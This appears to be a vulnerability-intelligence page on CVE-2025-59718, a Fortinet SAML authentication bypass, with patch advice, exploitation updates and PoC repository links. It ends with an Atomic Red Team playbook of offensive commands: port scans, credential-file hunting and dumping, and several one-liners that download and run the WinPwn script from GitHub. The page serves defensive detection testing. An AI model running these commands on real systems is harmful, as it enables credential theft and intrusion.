CVE-2025-59718

CRITICAL CISA KEV POC TTE 7d Pub 09/12 Upd 09/06

Overview

This vulnerability is an authentication bypass caused by improper verification of cryptographic signatures in the SAML response processing of Fortinet FortiSwitchManager and related Fortinet products. The root cause lies in the failure to correctly validate the cryptographic signature of SAML assertions, allowing crafted messages to bypass FortiCloud SSO login authentication. The affected component is the SAML authentication mechanism within FortiSwitchManager versions 7.0.0 through 7.0.5 and 7.2.0 through 7.2.6, as well as specific FortiOS and FortiProxy versions.

Vulnerability Description

A improper verification of cryptographic signature vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiOS 7.4.0 through 7.4.8, FortiOS 7.2.0 through 7.2.11, FortiOS 7.0.0 through 7.0.17, FortiProxy 7.6.0 through 7.6.3, FortiProxy 7.4.0 through 7.4.10, FortiProxy 7.2.0 through 7.2.14, FortiProxy 7.0.0 through 7.0.21, FortiSwitchManager 7.2.0 through 7.2.6, FortiSwitchManager 7.0.0 through 7.0.5 allows an unauthenticated attacker to bypass the FortiCloud SSO login authentication via a crafted SAML response message.

Impact

An unauthenticated attacker can bypass FortiCloud SSO login authentication, gaining unauthorized access to affected FortiSwitchManager instances. This access potentially allows full administrative control over the device, enabling compromise of network management functions. No user interaction or valid credentials are required, increasing the attack surface. The vulnerability can lead to unauthorized disclosure of sensitive network configuration data and facilitate further lateral movement within the network environment.

Solution

Fortinet has released security updates addressing this vulnerability in FortiSwitchManager versions 7.0.6 and 7.2.7, as well as updated FortiOS and FortiProxy versions. Administrators should apply these patches promptly. Detailed patch instructions and advisory information are available at Fortinet's official PSIRT page: https://fortiguard.fortinet.com/psirt/FG-IR-25-647. Additionally, administrators should review device registration settings to ensure the vulnerable SAML configuration is disabled if patching is not immediately feasible.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Fortinet's FortiOS, FortiProxy, and FortiSwitchManager products arises from improper verification of cryptographic signatures, specifically in the handling of SAML (Security Assertion Markup Language) response messages. This flaw allows an unauthenticated attacker to craft a malicious SAML response that can bypass the FortiCloud Single Sign-On (SSO) login authentication mechanism. The affected versions span multiple releases, including FortiOS versions 7.6.0 to 7.6.3, 7.4.0 to 7.4.8, and earlier iterations, as well as corresponding versions of FortiProxy and FortiSwitchManager. The critical nature of this vulnerability is underscored by its high CVSS score, indicating a severe risk to systems utilizing these products.

Attackers can exploit this vulnerability through various vectors, primarily by sending specially crafted SAML responses to the affected systems. Since the flaw allows for the bypass of authentication mechanisms, an attacker could gain unauthorized access to sensitive resources without needing valid credentials. This could lead to a range of malicious activities, including data exfiltration, unauthorized configuration changes, or even lateral movement within the network. Given the widespread use of Fortinet products in enterprise environments, the potential for exploitation is significant, especially in organizations that rely heavily on SSO for user authentication.

The real-world impact of this vulnerability can be profound. Organizations that utilize Fortinet's solutions may face severe business risks, including data breaches, loss of sensitive information, and reputational damage. The ability for an attacker to bypass authentication can lead to unauthorized access to critical systems, potentially resulting in financial losses and regulatory penalties, particularly in industries that are subject to strict compliance requirements. Furthermore, the exploitation of this vulnerability could serve as a foothold for more extensive attacks, allowing adversaries to escalate privileges and compromise additional systems within the network.

To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. Regularly updating and patching affected Fortinet products is essential to close the security gap. Security teams should also monitor logs for any unusual authentication attempts or access patterns that may indicate exploitation attempts. Additionally, employing intrusion detection systems (IDS) can help identify and alert on suspicious SAML traffic. Organizations should consider implementing multi-factor authentication (MFA) as an additional layer of security to protect against unauthorized access, even if the initial SSO mechanism is compromised.

In conclusion, the improper verification of cryptographic signatures in Fortinet products presents a critical security vulnerability that requires immediate attention. The potential for exploitation poses significant risks to organizations, making it imperative for cybersecurity teams to adopt proactive measures to safeguard their environments. By staying informed about the latest threats and implementing robust security practices, organizations can mitigate the impact of such vulnerabilities and enhance their overall security posture.




Recent updates to CVE-2025-59718 reveal a downward revision of the CVSS score from 9.8 to 9.1, reflecting a refined understanding of the vulnerability’s exploitability and impact. Despite this slight reduction in severity, our telemetry indicates a significant decline in detection activity related to this flaw, suggesting either a temporary lull in active exploitation or improved defensive postures among affected organizations. Contrarily, the Exploit Prediction Scoring System (EPSS) score has nearly doubled, rising by over 90%, signaling an increased likelihood of exploitation attempts in the near term. This divergence between reduced observed activity and heightened predictive risk underscores a complex threat landscape where adversaries may be preparing or refining exploit techniques rather than conducting widespread attacks currently. Notably, the presence of new proof-of-concept exploits publicly available on GitHub continues to lower the barrier for threat actors to weaponize this vulnerability. Although no confirmed ransomware campaigns have been linked to this CVE, the association of ransomware groups such as akira and ransomhub with related Fortinet vulnerabilities warrants continued vigilance. Overall, this update adjusts the risk assessment to a sustained critical threat level, emphasizing that while immediate exploitation may have slowed, the potential for rapid escalation remains elevated due to increased exploitability indicators and publicly accessible attack tools.



Update 2 — June 20, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2025-59718, accompanied by a significant upward revision of its CVSS score to 9.8 and a substantial increase in the Exploit Prediction Scoring System (EPSS) metric. This surge in activity correlates with the recent public release of multiple proof-of-concept exploits, which have notably lowered the technical barrier for adversaries to weaponize this vulnerability. Our telemetry indicates that exploitation attempts are rapidly increasing, placing this vulnerability in the highest percentile of exploit likelihood. Although no direct ransomware campaigns have yet been conclusively linked to this CVE, the ongoing interest from ransomware-associated groups such as akira and ransomhub underscores the potential for future integration into malicious toolsets. The convergence of heightened exploitability, public exploit availability, and ransomware group attention elevates the threat posture, signaling an urgent need for defenders to maintain heightened situational awareness. Consequently, the risk assessment for CVE-2025-59718 is updated to reflect a sustained critical threat level with an increased probability of active exploitation in the near term.

Affected Products (10)

Vendor Product Version CPE
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiproxy All cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiswitchmanager All cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*
fortinet Fortinet Fortiswitchmanager All cpe:2.3:a:fortinet:fortiswitchmanager:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
fortinet Fortinet Fortios All cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (3)

Repository Author Stars Forks Date Link
exfil0/CVE-2025-59718-PoC
Fortinet announced two closely related authentication‑bypass vulnerabilities on 9 December 2025. Both flaws involve impr...
exfil0 6 5 2025-12-17 View
moften/CVE-2025-59718-Fortinet-Poc
PoC para determinar si Fortinet es vulnerable a CVE-2025-59718 / CVE-2025-59719
moften 3 0 2025-12-27 View
PoC
- 0 0 - View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

14 events
2026-06-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by Mora_001

Ransomware group known to exploit this vulnerability

2026-03-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2025-12-17
PoC Published (3 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2025-12-16
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
91% auth_bypass
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-463 Padding Oracle Crypto Attack
30%
High
CAPEC-475 Signature Spoofing by Improper Validation
30%
Low High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2025-59718
fortiguard.fortinet.com
GitHub CVE
https://fortiguard.fortinet.com/psirt/FG-IR-25-647
arcticwolf.com
NVD API Third Party Advisory
https://arcticwolf.com/resources/blog/arctic-wolf-observes-malicious-sso-logins-following-disclosure-cve-2025-59718-cve-2025-59719/
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-59718